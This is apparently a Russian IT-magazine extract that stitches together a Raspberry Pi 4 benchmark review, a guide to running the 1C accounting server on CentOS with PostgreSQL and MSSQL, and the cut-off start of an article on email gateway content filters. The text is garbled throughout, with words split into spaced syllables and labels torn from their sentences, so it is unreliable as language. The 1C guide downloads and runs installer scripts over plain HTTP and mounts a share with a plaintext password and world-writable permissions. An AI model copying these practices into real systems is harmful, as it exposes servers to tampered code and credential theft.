и  про цес сор,  поэто му  пред лагаю  начать  с  них.  Про изво дитель ность  ЦП
замерим с помощью бен чмар ка  , а харак терис тики ОЗУ оце ним
по резуль татам ути литы  . Но преж де все го скон фигури руем сис тему
на мак сималь ное быс тро дей ствие коман дой:

HWBot Prime
Sysbench

$ echo "performance" | sudo tee /sys/devices/system/cpu/cpu0/cpufreq/
scaling_governor

Те перь уста новим сам бен чмарк:

$ wget http://downloads.hwbot.org/hwbotprime.jar

Для него тре бует ся  , которой у тебя в сис теме может и не быть, так
что заберем заод но и ее:

OpenJDK

$ apt‐get install openjdk‐8‐jre

Пос ле это го запус каем тест и наб люда ем резуль тат.

Про цес сор опре делил ся неп равиль но, а вот с час тотой и количес твом
опе ратив ки проб лем не воз никло

Ду маю,  тебе  будет  инте рес но  узнать,  что  пре дыду щая  модель  «малин ки»
набира ла в этом тес те все го лишь око ло 440 «попуга ев» на стан дар тных час‐ 
тотах и при мер но 520 при экс тре маль ном раз гоне с жид ким азо том и отри‐ 
цатель ными тем перату рами. Такие любопыт ные дан ные при води ли овер кло‐ 
керы  из  коман ды    в  выпус ке  жур нала 
за  декабрь  2017  года.  Чет вертая  вер сия  оставля ет  эти  резуль таты  далеко
позади  и  демонс три рует  впе чат ляющий  при рост  более  чем  в  шесть  раз!
Какие же показа тели сто ит ждать от опе ратив ной памяти?

K|ngp|n HackSpace

Ком плект тес тов Sysbench уста нав лива ется еще про ще:

$ apt‐get install sysbench

Здесь я не буду перес казывать все воз можные нас трой ки и объ яснять, за что
отве чают  кон крет ные  парамет ры  этой  ути литы,  —  как  всег да,  ты  смо жешь
най ти деталь ное опи сание с помощью коман ды  . Мне же вновь хочет‐ 
ся срав нить меж ду собой новую и ста рую ревизии одноплат ника:

‐‐help

 

 

 

 

 

 

 
sysbench 0.4.12: multi‐threaded system evaluation benchmark

$ sysbench —test=memory —num‐threads=4 —memory‐access‐mode=rnd ‐‐memory‐
total‐size=800M run

Running the test with following options: 
Number of threads: 4

Doing memory operations speed test 
Memory block size: 1K

Memory transfer size: 800M 
Memory operations type: write 
Memory scope type: global 
Threads started! 
Done.

Operations performed 819200 (1374234.65 ops/sec) 
800.00 MB transferred (1342.03 MB/sec)

И  вот  тут  неожи дан ный  резуль тат:  третья  вер сия  демонс три рова ла  про пус‐ 
кную спо соб ность на уров не 2210 Мбайт/с, а здесь даже 1400 не набира ется!
Единс твен ное  объ ясне ние,  какое  я  вижу:  сов ремен ное  ОЗУ  на  осно ве
динами чес кой  памяти  нель зя  счи тать  пол ностью  «слу чай ным»  в  пла не  вре‐ 
мени дос тупа: нак ладные рас ходы неиз бежны в любом слу чае. А сов ремен‐ 
ные  интерфей сы  памяти  ста рают ся  опти мизи ровать  ско рее  в  поль зу 

  чте ния,  для  работы  сов мес тно  с  кешем  про цес сора.
Поэто му однознач ный вывод о про изво дитель нос ти здесь сде лать слож но.
последовательного

Так же  я  решил  про тес тировать  гра фичес кую  под систе му  Videocore  VI
на  стра нич ке  .  Сов ремен ные  план шеты  здесь  справ ляют ся
с отри сов кой 15 тысяч рыбок, сох раняя час тоту обновле ния кар тинки на уров‐ 
не  30  кад ров  в  секун ду.  Воз можнос ти  Raspberry  Pi  в  этом  пла не  гораз до
скром нее, но и резуль тат в 500 рыбок мож но счи тать дос той ным для встро‐ 
енной гра фики.

WebGL  Aquarium

Нес коль ко  допол нитель ных  тес тов  (вклю чая  кар тинки  с  теп ловизо ра)  ты
можешь  най ти    раз работ чиков.  Обра ти  вни мание,  нас коль ко
эко номич ным получил ся новый одноплат ник при всех сво их дос тоинс твах.

на  стра нич ке

ОБЩИЕ ВПЕЧАТЛЕНИЯ
В  целом  новый  Raspberry  Pi  опре делен но  удал ся.  Пожалуй,  это  пер вая
модель, которой дей стви тель но ком фор тно поль зовать ся в качес тве замены
офис ного  нет топа  или  домаш него  ПК,  если  тот  исполь зует ся  в  основном
для  запус ка  бра узе ра.  Нет,  конеч но,  видео  в  4К  на  YouTube  ты  на  нем  не 

 но вряд ли кто‐то всерь ез ожи дал подоб ного. Тем более Rasp‐
berry  Pi  —  это  по‐преж нему  отличный  эму лятор  ста рых  игро вых  плат форм
и  хорошая  осно ва  для  меди ацен тра.  Не  говоря  уже  про  вся кое  гиковс тво,
мей керс тво и хакерс тво. Ну да не мне тебе рас ска зывать!

посмотришь,
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Изоб ражен ный  на  сто дол ларовой  купюре
пре зидент  Бен джа мин  Фран клин  ког да‐то
пре дос терегал  потом ков  от  нап расных
трат,  напоми ная,  что  даже  малень кая  течь
спо соб на  потопить  боль шой  корабль.
В  сфе ре  IT  сущес тву ет  нес коль ко  впол не
закон ных  спо собов  сэконо мить.  Мож но
перевес ти  пред при ятие  на  Linux,  мож но
исполь зовать    вмес то  служ бы  Active
Directory, а еще мож но нас тро ить под Linux
сер вер  1С,  переве дя  работу  бух галте рии
на бес плат ную плат форму. Чем мы сегод ня
и  зай мем ся,  попут но  сэконо мив  еще  и
на сер вере тер миналов.

Zentyal

УСТАНОВКА И НАСТРОЙКА
Сер верная вер сия 1С для Linux допус кает до 14 тех нологи чес ких кли ент ских
под клю чений даже без лицен зии, но это не озна чает, что лицен зию не нуж но
покупать.  Мож но  уста новить  прог рамму,  про тес тировать  и  оце нить  ее  воз‐ 
можнос ти. Дис три бутив дос тупен на пор тале 1С при наличии под писки ИТС,
а  если  хорошень ко  поис кать,  в  интерне те  мож но  най ти  и  дру гие  источни ки
заг рузки.

Для  начала  работы  с  1С  в  Linux  (я  исполь зую  CentOS  7  и  1С  вер‐ 
сии 8.3.2033) нуж но уста новить PostgreSQL. Но перед этим при дет ся под клю‐ 
чить репози тории PostgreSQL для 1С:

$ sudo rpm ‐ivh http://1c.postgrespro.ru/keys/postgr
espro‐1c‐centos94.noarch.rpm

Да лее перехо дим непос редс твен но к уста нов ке PostgreSQL Pro:

$ sudo yum update && sudo yum install postgresql‐pro‐1c‐9.5

Для удобс тва адми нис три рова ния базы мож но уста новить в сво ей локаль ной
сис теме  pgAdmin,  вер сии  которо го  име ются  не  толь ко  для  Linux,  но  так же
для Windows и macOS. А мож но исполь зовать кон соль — su postgres. Затем
под учет кой поль зовате ля   ини циали зиру ем слу жеб ные базы дан ных
с рус ской локали заци ей:

postgres

$ initdb ‐‐locale=ru_RU.UTF‐8

Те перь запус каем сер вер СУБД PostgreSQL:

$ systemctl enable postgresql‐9.5
$ systemctl start postgresql‐9.5
$ systemctl status postgresql‐9.5

Пе рехо дим  к  1С.  Уста новоч ный  пакет  сер вера  1С  для  Linux  пред став ляет
собой  архив  с  име нем  .  Рас пакуй  хра нящи еся  внут ри  фай лы
с рас ширени ем .rpm в какую‐нибудь пап ку, перей ди в нее и запус ти уста нов ку
прог раммы сле дующей коман дой:

rpm64.tar.gz

$ yum localinstall *.rpm

Ес ли  ты  не  исполь зуешь  допол нения  1С,  рас ширения,  какие‐либо 
  кон фигура ции,  то  одним  сер вером  на  Linux  впол не  мож но

обой тись.  Кон фигура ции  1С,  отли чающиеся  от  типовых,  а  так же  некото рые
допол нитель ные  модули  и  биб лиоте ки  1С  исполь зуют  для  обме на  дан ными
меж ду  базами  .  Если  на  тво ем  пред при ятии  исполь зует ся
имен но  такая  кон фигура ция  (нап ример,  рас ширение  или  отдель ная  база
для  обме на  с  «1С  Мобиль ная  тор говля»  либо  ана логич ными  кон фигура‐ 
циями),  без  уста нов ки  1С‐сер вера  на  Windows  не  обой тись.  Такой  сер вер
исполь зует  СУБД  MSSQL,  которая,  в  свою  оче редь,  может  кру тить ся
на любом сер вере, в том чис ле на Linux.

нестандартные

COM‐объ екты

Про цесс  уста нов ки  1С  на  Windows  не  пред став ляет  ни  малей ших  слож‐ 
ностей,  важ но  лишь  при  выборе  уста нав лива емых  ком понен тов  выб рать

,   (если ста вим 1С‐сер вер
сра зу  на  Windows)  и  сбро сить  фла жок  уста нов ки  драй вера  защиты.  Все
осталь ные парамет ры мож но оста вить по умол чанию.

Средства администрирования сервера 1С‐сервер

Под ведем  про межу точ ный  итог:  у  нас  уста нов лены  сер веры  1С  под Win‐
dows и CentOS и сер вер СУБД PostgreSQL под CentOS 7. Нас тало вре мя соз‐ 
дать новую базу дан ных в кон соли управле ния 1С.

Соз дание БД в кон соли 1С‐сер вера

Вни матель но  про писы ваем  имя  базы  (оно  будет  отоб ражать ся  в  кон соли
управле ния 1С‐сер вера), опи сание базы, в поле   мож но
вбить IP‐адрес СУБД сер вера, если это не одна и та же машина, или имя сер‐ 
вера  (в  этом  слу чае  не  забудь  пред варитель но  нас тро ить  DNS  или  файл
hosts).  В  поле    вво дим  имя  базы  дан ных  для  PostgreSQL.

  для PostgreSQL — это  ,  а  пароль  этой
учет ки  мы  задава ли  при  уста нов ке.  В Microsoft  SQL  поль зовате ля  зовут  ,
а  его  пароль  так же  зада ется  в  про цес се  уста нов ки  сер вера.  Далее  опци‐ 
ональ но  выбира ем  раз дачу  лицен зий  сер вером  1С.  Уста нав лива ем фла жок

 и нажима ем  . Ана логич‐ 
ным обра зом соз даем необ ходимое количес тво баз.

Сервер баз данных

База  данных
Пользователь сервера БД postgres
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Создать базу данных в случае ее отсутствия ОК

Те перь  нуж но  позабо тить ся  о  резер вных  копи ях.  Сущес тву ет  нес коль ко
путей решения этой задачи. Мож но бекапить сер вер целиком (это осо бен но
удоб но,  если  сер вер раз вернут  на  вир туаль ной машине),  а мож но бекапить
толь ко  базы.  Мы  будем  сох ранять  в  резер вной  копии  и  то  и  дру гое!  Бекап
сер вера целиком мы рас смот рим в самом кон це, ког да все нас тро им, а сей‐ 
час зай мем ся бекапом баз PostgreSQL.

БЕКАПИМ БАЗЫ POSTGRESQL
Для  орга низа ции  резер вно го  копиро вания  БД  сущес тву ет  мно жес тво  раз‐ 
личных  прог рамм.  Но,  как  мне  кажет ся,  для  такой  прос той  задачи  сов сем
необя затель но  ста вить  какое‐то  допол нитель ное  ПО,  тем  более  в  Postgres
есть спе циаль ная ути лита  . Поэто му мы напишем неболь шой скрипт,
который будет бекапить базу и сох ранять ее туда, куда нам нуж но.

pg_dump

Пред варитель но  под готовим  мес то,  куда  будем  скла дывать  резер вные
копии. Пред положим, в нашей сети есть сер вер   с раз гра ниче нием дос‐ 
тупа. Соз дадим на этом сер вере поль зовате ля   с паролем  .
Теперь соз дадим сер верную пап ку  ,  в  которую
раз решим запись толь ко это му поль зовате лю.

samba
backup password

/home/samba/backup/pgsql/

Сле дующим шагом нас тро им в CentOS с сер вером 1С под дер жку  :samba

$ sudo yum install cifs‐utils

Пус кай вре мен ным катало гом у нас будет  . В таком слу чае 
скрипт для резер вно го копиро вания баз дан ных будет выг лядеть сле дующим
обра зом:

/var/backup

#!/bin/bash
timed=$(date +%Y‐%m‐%d‐%k‐%M) # определяем время начала скрипта для 
дальнейшей подстановки в имя дампа
mountpoint=$(df ‐h | grep backup) # определяем, подключена ли шара
t="base1_$timed.sql.tgz"
h="base2_$timed.sql.tgz"
r="base3_$timed.sql.tgz"
a="base4_$timed.sql.tgz" # задаем переменные для имен файлов 
созданных дампов (в принципе, этого можно не делать, а подставить 
выражение base1_$time.sql.tgz непосредственно в pg_dump).

if [ ‐n "$mountpoint" ]; then # проверяем условие — подключена ли 
шара
   echo "Снимаю дамп баз данных"
   sudo ‐u postgres pg_dump ‐Fc ‐U postgres ‐v ‐b ‐f /var/backup/$t 
base1
   sudo ‐u postgres pg_dump ‐Fc ‐U postgres ‐v ‐b ‐f /var/backup/$h 
base2
   sudo ‐u postgres pg_dump ‐Fc ‐U postgres ‐v ‐b ‐f /var/backup/$r 
base3
   sudo ‐u postgres pg_dump ‐Fc ‐U postgres ‐v ‐b ‐f /var/backup/$a 
base4
   # если шара подключена, снимаем резервные копии
   echo "Копирую резервные копии в хранилище бекапов"
   sudo cp /var/backup/{$t,$h,$r,$a} /mnt/backpgsql/ # копируем 
резервные копии на удаленную шару (для особо параноидальных админов 
можно делать это через SSH, только заранее необходимо сгенерировать 
и подсунуть ключи).
   echo "Удаляю временные файлы"
   sudo rm ‐r /var/backup/* # удаляем резервные копии из нашего 
временного каталога
   exit
else
   echo "Подключаю хранилище бекапов" # если шара не подключена, то 
сначала подключим ее, а далее все то же самое, что и в первой части 
скрипта
   sudo mount  ‐t cifs //192.168.1.1/backup/pgsql/ /mnt/backpgsql/ 
‐o username=backup,password=password,iocharset=utf8,file_mode=0777,
dir_mode=0777
   echo "Снимаю дамп баз данных"
   sudo ‐u postgres pg_dump ‐Fc ‐U postgres ‐v ‐b ‐f /var/backup/$t 
torg
   sudo ‐u postgres pg_dump ‐Fc ‐U postgres ‐v ‐b ‐f /var/backup/$h 
him
   sudo ‐u postgres pg_dump ‐Fc ‐U postgres ‐v ‐b ‐f /var/backup/$r 
roznitsya
   sudo ‐u postgres pg_dump ‐Fc ‐U postgres ‐v ‐b ‐f /var/backup/$a 
accounting
   echo "Копирую резервные копии в хранилище бекапов"
   sudo cp /var/backup/{$t,$h,$r,$a} /mnt/backpgsql/
   echo "Удаляю временные файлы"
   sudo rm ‐r /var/backup/*
   exit
fi

Сох раня ем  скрипт  в  файл  .  Дела ем  файл  исполня емым
коман дой    и  добав ляем  в    такую
стро ку:

/opt/backup.sh
sudo  chmod  +x  /opt/backup.sh crontab

0 23 * * * /opt/backup.sh

За пус кать скрипт мы будем каж дый день в 23:00. Что ж, с PostgreSQL закон‐ 
чили. Идем даль ше.

HASP
Для  нор маль ной  работы  сер вера  1С  необ ходимо  уста новить  в  сис теме
менед жер  лицен зий  HASP  LM.  В  CentOS  это  дела ется  при  помощи  двух
команд:

$ wget http://centos.name/file/hasplm_install.sh
$ sh hasplm_install.sh

В  моем  слу чае  на  физичес ком  хос те  уста нов лена  ОС  Ubuntu  16.04,  внут ри
которой  кру тят ся  две  вир туаль ные  машины  с  CentOS.  На  одной  работа ют
сер веры 1C и СУБД, на вто рой — Windows Server 2008. Мож но проб росить
USB‐ключ  1С  пря мо  в  вир туал ку  (вир туали зация  KVM,  libvirt‐bin),  а  мож но
уста новить HASP LM в хос товую сис тему Ubuntu, что мы и сде лаем.

За ходим по адре су 
 и выбира ем нуж ную вер сию Ubuntu. Внут ри выб ранной пап ки обна‐ 

ружит ся два фай ла, выкачи ваем оба с помощью  :

http://ftp.etersoft.ru/pub/Etersoft/HASP/last/
Ubuntu/

wget

$ wget haspd‐modules_7.40‐eter10ubuntu_i386.deb
$ wget haspd_7.40‐eter10ubuntu_i386.deb

Да лее коман дой   уста нав лива ем оба пакета. Если воз ника‐ 
ют ошиб ки, необ ходимо опре делить зависи мос ти:

dpkg ‐i /haspd*

$ sudo apt ‐f install

Еще может пот ребовать ся под клю чить архи тек туру i386:

$ sudo dpkg ‐‐add‐architecture i386

Или уста новить на вся кий слу чай сле дующую биб лиоте ку:

$ sudo apt‐get install libc6:i386

От крыв бра узер и наб рав IP‐адрес сер вера, на пор ту 1947 мы можем уви деть
стра ницу  сер виса,  на  которой  отоб ража ются  толь ко  новые  клю чи.  А  можем
и ничего не уви деть, в этом слу чае при дет ся проб расывать пор ты через SSH:

$ ssh admin@192.168.1.1 ‐L 8888:localhost:1947 ‐N

Где:
 — уста нов ка соеди нения SSH;• ssh

 — логин на сер вере, отку да проб расыва ется порт;• admin

 — IP‐адрес сер вера, отку да проб расыва ется порт;• 192.168.1.1

 — этот ключ говорит о том, что нуж но с уда лен ной машины проб росить
порт  на  локаль ную  (ключ  ,  наобо рот,  проб расыва ет  локаль ный  порт
на уда лен ную машину);

• ­L

­R

  —  ука зыва ет  на  то,  что  нам  нуж но  проб росить  порт  самого
сер вера;

• localhost

 — проб расыва емый порт, к которо му нуж но получить дос туп;• 1947

 — этот ключ бло киру ет вывод в кон соль тер минала, что бы не уста нав‐ 
ливать пол ноцен ную SSH‐сес сию.

• ­N

Те перь мож но ввес ти в бра узе ре адрес  , пос ле чего
ты наконец получишь дос туп к веб‐интерфей су сер виса HASP. Раз реши в нас‐ 
трой ках вход в этот интерфейс по сети и сох рани эти нас трой ки. Теперь мож‐ 
но вык лючить проб рос пор та и заходить на стра ницу HASP прос то по IP‐адре‐ 
су с ука зани ем пор та 1947.

http://localhost:8888

Веб‐кон соль Safenet — HASP LM

Об ращаю твое вни мание на  то,  что здесь будут отоб ражать ся  толь ко новые
клю чи  Safenet,  и  управлять  дос тупом  мож но  толь ко  для  этих  новых  клю чей.
Управле ние  ста рыми  клю чами  выпол няет ся  по  ста рин ке.  Теперь  добавим
в файл   сле дующие стро ки:/etc/hasplm/hasplm.ini

[NHS_IP]
NHS_IP_LIMIT = 192.168.1.0/24

Этот  параметр  не  поз волит  кли ентам  из  дру гих  сетей  получать  лицен зии.
Про верить, видит ли сис тема ключ, мож но при помощи коман ды  . Если
все хорошо, ты уви дишь при мер но такое сооб щение:

lsusb

 

 

Bus 001 Device 003: ID 0529:0001 Aladdin Knowledge Systems HASP copy 
protection dongle

На этом эта пе мож но запус кать стан дар тные кон фигура ции 1С и тес тировать
их.  Важ но  лишь  не  забывать  о  нес коль ких  важ ных  момен тах:  PostgreSQL
не  уме ет  работать  с  COM,  а  линук совый  1С‐сер вер  не  уме ет  работать
с MSSQL, это огра ниче ние заложе но раз работ чиком.

Что бы не пло дить сер вера СУБД, для 1С‐сер вера под Windows в CentOS
мож но уста новить Microsoft SQL Server Express: эта СУБД пол ностью бес плат‐ 
ная и для нашей неболь шой базы под ходит как нель зя кста ти. 
 по SQL Server Express мож но най ти на сай те самой кор порации Microsoft,

прав да пред став лен он на англий ском язы ке.

Хо роший ману‐ 
ал

УСТАНАВЛИВАЕМ SQL SERVER EXPRESS
Что бы сер вер 1С под Windows мог работать с базами дан ных на  Linux‐сер‐ 
вере,  нуж но  про делать  сле дующие  нес ложные  манипу ляции.  Под клю чаем
репози торий:

$ sudo curl ‐o /etc/yum.repos.d/mssql‐server.repo https://packages.
microsoft.com/config/rhel/7/mssql‐server‐2017.repo

Ус танав лива ем MSSQL‐сер вер:

$ sudo yum install ‐y mssql‐server

Те перь  нам  необ ходимо  скон фигури ровать  толь ко  что  уста нов ленный
MSSQL‐сер вер:

$ sudo /opt/mssql/bin/mssql‐conf setup

От веча ем на воп росы сис темы. Нас спро сят о том, какая сбор ка исполь зует‐ 
ся на нашем сер вере и какую вер сию мы хотим уста новить (выбира ем MSSQL
Express — так как он бес пла тен и отве чает нашим тре бова ниям). Пос ле это го
мож но  уста новить  в  Windows  прог рамму  Microsoft  SQL  Server  Management
Studio и под клю чить ся к сер веру по его  IP‐адре су с исполь зовани ем логина
 и пароля, ука зан ного в про цес се соз дания базы. Ана логич но тому, как мы

делали это в PostgreSQL, в кон соли Windows‐сер вера 1С соз даем и под клю‐ 
чаем базу MSSQL.
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В резуль тате мы име ем связ ку из двух сер веров. На одном у нас уста нов‐ 
лена  CentOS  с  сер вером  1С  и  дву мя  СУБД —  PostgreSQL  и  MSSQL.  Вто‐ 
рой  1С‐сер вер  работа ет  на  Windows,  нужен  он  толь ко  для  одной  базы
MSSQL, пос коль ку в PostgreSQL не под держи вает ся COM.

Ос талось дело за малым. Раз уж мы пот ратили день ги на покуп ку Windows
Server, сер вер тер миналов сде лаем на Linux.

СЕРВЕР ТЕРМИНАЛОВ ДОМЕННЫХ ПОЛЬЗОВАТЕЛЕЙ XRDP
Для  уста нов ки  XRDP‐сер вера  у  нас,  как  это  обыч но  быва ет  в  Linux,  есть 

  путей. В боль шинс тве  дис три бути вов  Linux  его мож но  уста новить
пакетом, нап ример в Debian/Ubuntu это дела ется сле дующей коман дой:
несколько

$ sudo apt install xrdp

А мож но пой ти по пути сбор ки пакета или уста нов ки из скрип та:

$ wget http://adminguide.ru/wp‐content/uploads/2018/11/
install‐xrdp‐2.2.zip
$ unzip ./install‐xrdp‐2.2.zip
$ chmod +x install‐xrdp‐2.2.sh && ./install‐xrdp‐2.2.sh

Ес ли  сво дить  баланс  в  1С  ты  пла ниру ешь  под  веселую  музыч ку,  для  чего 
  исполь зование  колонок  или  науш ников  с  уда лен ной  сис темы,

нуж но уста новить пакет  .
потребуется

xrdp‐pulseaudio‐installer
В  про цес се  уста нов ки  все  необ ходимые  пароли  будут  зап рошены  авто‐ 

мати чес ки.  Пос ле  уста нов ки  про буем  под клю чить ся  к  сер веру  любым  удоб‐ 
ным RDP‐кли ентом:

Ок но локс кри на XPDP

Пе ред под клю чени ем необ ходимо убе дить ся, что выб рана нуж ная рас клад ка
кла виату ры  для  вво да  пароля  в  RDP‐сес сию,  пос коль ку  на  эта пе  локс кри на
перек лючить язык не удас тся.

Ус пешный вход в RDP‐сес сию XFCE4

Ни каких лицен зий в дан ном слу чае не тре бует ся! Теперь запус каем 1С и спо‐ 
кой но работа ем. По боль шому сче ту интерфейс 1С в Linux ничем не отли чает‐ 
ся от 1C в Windows.

ИТОГИ
Для  неболь шого  пред при ятия  уста нов ка  1С  на  Linux‐сер вер  поз волит  опти‐ 
мизи ровать  зат раты,  пос коль ку  вер сия  прог раммы  для  Linux  по  сво им фун‐ 
кци ям  поз воля ет  решать  боль шинс тво  типич ных  бух галтер ских  задач.  Если
прин ципи аль но  необ ходимо  реали зовать  обмен  дан ными  меж ду  базами
с  исполь зовани ем  COM‐объ ектов,  без  1С‐сер вера  под  вин дой  обой тись
не удас тся. В этом слу чае СУБД MSSQL мож но раз вернуть на Linux‐сер вере.
Ну  а  сэконом ленные  средс тва  тра тим  на    раз витие  IT‐инфраструк туры
или закуп ку нового обо рудо вания, которо го, как извес тно, никог да не быва ет
дос таточ но.

пи во

mailto:plus@omsklug.com
https://xakep.ru/2017/07/19/zentyal-howto/
https://infostart.ru/public/387577/
https://docs.microsoft.com/en-us/sql/linux/quickstart-install-connect-red-hat
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АДМИН

Ес ли  верить  базе  дан ных  ,  мно гие  APT‐груп пиров ки
начина ют свои ата ки с фишин говых рас сылок на кор поратив‐ 
ную  поч ту.  Но  даже  если  тар гетиро ван ные  ата ки —  это  не
про  твою  кон тору,  в  ящи ки  все  рав но  неп рерыв но  сыпет ся
спам, фишин говые пись ма и про чая зараза. Что бы защитить
поль зовате лей, сущес тву ют шлю зы безопас ности, или Email
Security  Gateway.  Но  поль зу  они  при носят,  толь ко  если  их
гра мот но нас тро ить. Об этом и погово рим.

MITRE

Вот  спи сок  полез ных  качеств  и  воз можнос тей,  которы ми  дол жен  обла дать
сов ремен ный поч товый шлюз кор поратив ного уров ня:

встро енные полити ки безопас ности;•
ан тивирус ные модули;•
«песоч ница»;•
ре пута цион ные филь тры;•
чер ные спис ки;•
нас трой ка SPF, DKIM и DMARC;•
бло киров ка исхо дяще го спа ма;•
ка ран тин;•
под дер жка SNMP;•
ин тегра ция с дру гими средс тва ми защиты;•
уп равле ние через интерфейс коман дной стро ки либо веб‐кон соль;•
воз можность соз дания собс твен ных кон тент‐филь тров.•

Мы под робно погово рим имен но о пос леднем. С помощью поль зователь ских
кон тент‐филь тров  мож но  соз давать  пра вила  для  бло киров ки  сооб щений
по  раз личным  приз накам.  Сер вер  будет  искать  их  в  слу жеб ных  заголов ках,
теме или теле пись ма. Такие филь тры при годят ся для борь бы с одно тип ными
ата ками или в качес тве вре мен ной меры.

WARNING

Пом ни  о  сущес тво вании  статьи  138  УК  РФ
«Наруше ние  тай ны  перепис ки,  телефон ных
перего воров,  поч товых,  телег рафных  или  иных
сооб щений».  Что бы  соб люсти  закон,  сле дует
задоку мен тировать  кон троль  и  монито ринг  поч‐ 
тового тра фика в час тных полити ках по информа‐ 
цион ной  безопас ности  ком пании.  И  озна комить
с эти ми полити ками работ ников под рас писку.

СОВЕТЫ ПО НАСТРОЙКЕ ФИЛЬТРОВ
Преж де  чем  акти виро вать  кон тент‐филь тр  на  бло киров ку,  необ ходимо  убе‐ 
дить ся,  что  он  работа ет,  и  пос тро ить  белый  спи сок  таким  обра зом,  что бы
было как мож но мень ше лож ных сра баты ваний.

Я  рекомен дую  тес тировать  каж дый  поль зователь ский  филь тр  в  течение
трех  месяцев,  отправ ляя  копию  писем  на  руч ной  ана лиз.  Ког да  этот  срок
закон чится, луч ше перенап равлять сооб щения в каран тин, что бы у тебя была
воз можность вытащить их отту да, если лож ное сра баты вание все же слу чит‐ 
ся — или того пот ребу ет рас сле дова ние инци ден та.

Кста ти,  хорошая прак тика — раз решить каж дому поль зовате лю смот реть
свои  пись ма,  попав шие  в  каран тин.  Для  это го  нуж но  будет  про инс трук‐ 
тировать сот рудни ков о работе с ним.

Каж дый кон тен тный филь тр име ет свой поряд ковый номер, который мож но
менять. В начало спис ка рекомен дую ста вить кон тент‐филь тр с белыми спис‐ 
ками, затем с чер ным. Для удобс тва я под каж дый филь тр соз даю белый спи‐ 
сок,  что  поз воля ет  опе ратив но  добав лять  в  него  «белые»  ящи ки  и  уда лять
спи сок,  ког да  в  пра виле,  под  которое  оно  соз давалось,  уже  нет  необ‐ 
ходимос ти.

Спи сок в ито ге выг лядит при мер но так:
Whitelist_Case_1•
Whitelist_Case_2•
Whitelist_Case_3•
Blacklist•
Content_Filter_Case_1•
Content_Filter_Case_2•
Content_Filter_Case_3•

Мож но пос ле каж дого белого спис ка рас положить соот ветс тву ющий ему кон‐ 
тент‐филь тр,  нап ример,  пос ле    пос тавить 

,  но  тог да  у  тебя  в  белых  спис ках  будут  дуб лировать ся  десят ки,
а то и сот ни поч товых адре сов, что может ска зать ся на про изво дитель нос ти.
Да и в белый спи сок нуж но добав лять  толь ко  тех отпра вите лей,  с  которы ми
регуляр но ведет ся перепис ка.

Whitelist_Case_1 Content_Fil‐
ter_Case_1

Я  раз беру  нес коль ко  при меров  из  прак тики,  которые  поз волят  про‐ 
демонс три ровать потен циал поч тового шлю за.

Со вет 1. Бло кируй запаро лен ные фай лы
Здесь все дос таточ но прос то: отсе иваем пись ма, к которым при ложен файл,
зак рытый паролем. Это зачас тую архив, но могут быть и офис ные докумен ты
и PDF. В моей прак тике чаще все го попада лись пись ма с вло жени ем в виде
запаро лен ного архи ва, а сам пароль при лагал ся в теле пись ма. Ну а в архи ве,
как пра вило, вирус‐шиф роваль щик.

За паро лен ный вирус‐шиф роваль щик

Со вет 2. Добавь спи сок зап рещен ных рас ширений
Еще  один  полез ный  кон тент‐филь тр  будет  содер жать  все  рас ширения,
которые час то исполь зуют ся для рас простра нения вре доно сов и поч ти никог‐ 
да — для чего‐то полез ного. Вот лишь неболь шой спи сок: ade, ace, applica‐
tion, adp, apk, bat, bin,  cmd, cmdline, cpl,  cab, cgi,  chm, class,  com, docm, dll,
dat, drv, exe, inf, ins, isp, iso, hta, hlp, lnk, lib, lzh, js, jse, jar, mde, mst, msi, msc, gz,
ocx, pub, pptm, pif, pem, potm, ps1, ps2, reg, rdp, sldm, scf, scr, sct, shb, sys, swf,
sh, tmp, vb, vbe, vbs, vxd, wsc, wsh, wsf, xlsm, xlam.

Рас ширен ный вари ант такого спис ка мож но най ти на сай тах про изво дите‐ 
лей  средств  защиты,  нап ример  .  Иног да  что‐то  почер пнуть
для сво его спис ка мож но из ана лити чес ких и иссле дова тель ских ста тей. Нап‐ 
ример, я добавил  , про читав иссле дова‐ 
ние о них.

у  Symantec

бло киров ку рас ширений VHD и VHDX

У  каж дой  ком пании  такой  спи сок  будет  свой  в  силу  спе цифи ки  биз‐ 
нес‐про цес сов. У меня он нас читыва ет поряд ка 200 рас ширений.

Преж де  чем  бло киро вать  какое‐то  рас ширение,  необ ходимо  убе дить ся,
что за пос ледний год писем с такими фай лами не было или их был минимум.
Сде лать это мож но с помощью жур нала отсле жива ния сооб щений (message
tracking  log).  Ну  и,  конеч но,  не  сто ит  бло киро вать  «офис ные»  рас ширения,
которые  час то  исполь зуют ся  для  целенап равлен ных  атак,  вро де  .rtf,  .doc
и  .pdf.  Для  защиты  от  нес тандар тных  атак  необ ходимо  исполь зовать  эше‐ 
лони рован ную обо рону, тема которой выходит за рам ки этой статьи.

Ес ли  в  ком пании  в  качес тве  основно го  поч тового  кли ента  исполь зует ся
Outlook,  часть  рас ширений  в  нем  ,  так  что  нет
необ ходимос ти дуб лировать их в филь тре.

бло киру ются  по  умол чанию

Обыч но  пра вила  кон тент‐филь тра  работа ют  на  осно ве  регуляр ных
выраже ний,  поэто му  убе дись,  что  твои  регуляр ки  отлавли вают  име на  рас‐ 
ширений,  написан ные и  заг лавны ми, и  строч ными бук вами  (нап ример, 
или  ), и ана лизи руют имен но рас ширение, а не наз вание фай ла целиком.
Ина че получишь лож ные сра баты вания — на фай лы вро де  .

.scr
.SCR

screensaver.txt

Со вет 3. Вклю чи в филь тры топ спа мер ских доменов вер хне го
уров ня
К  сво ему  удив лению  я  обна ружил,  что  встро енные  механиз мы  защиты  поч‐ 
товых  шлю зов  справ ляют ся  не  со  всем  спа мом —  иног да  даже  оче вид ный
мусор  про ходит  мимо  них.  Поэто му  я  решил  сде лать  филь тр,  осно ван ный
на  пер вой  десят ке  доменов  вер хне го  уров ня  (TLD),  с  которых,  по  вер сии

,  чаще все го при ходит  спам  (обновле ние спис ка  про исхо дит еже‐ 
месяч но). Такой кон тент‐филь тр не дол жен давать поч ти никаких лож ных сра‐ 
баты ваний —  за  исклю чени ем  слу чаев,  ког да  бло киру ются  TLD‐домены  тех
стран,  с  которы ми  может  сот рудни чать  ком пания.  В  моем  слу чае  это  был
домен вер хне го уров ня .asia.

Spamhaus

Со вет 4. Сос тавь спи сок зап рещен ных слов и фраз
Вот уже на про тяже нии полуго да сот рудни кам ком пании, где я работаю, прак‐ 
тичес ки ежед невно при ходят пись ма,  в  которых  говорит ся о взло ме устрой‐ 
ства  поль зовате ля  и  о  его  прис трас тии  к  пор но.  За  то,  что бы  ком про мети‐ 
рующее  видео  не  рас простра нилось  по  кон тактам  из  адресной  кни ги,  зло‐ 
умыш ленни ки  тре буют  выкуп  в  бит коинах.  В  содер жании  меня ется  толь ко
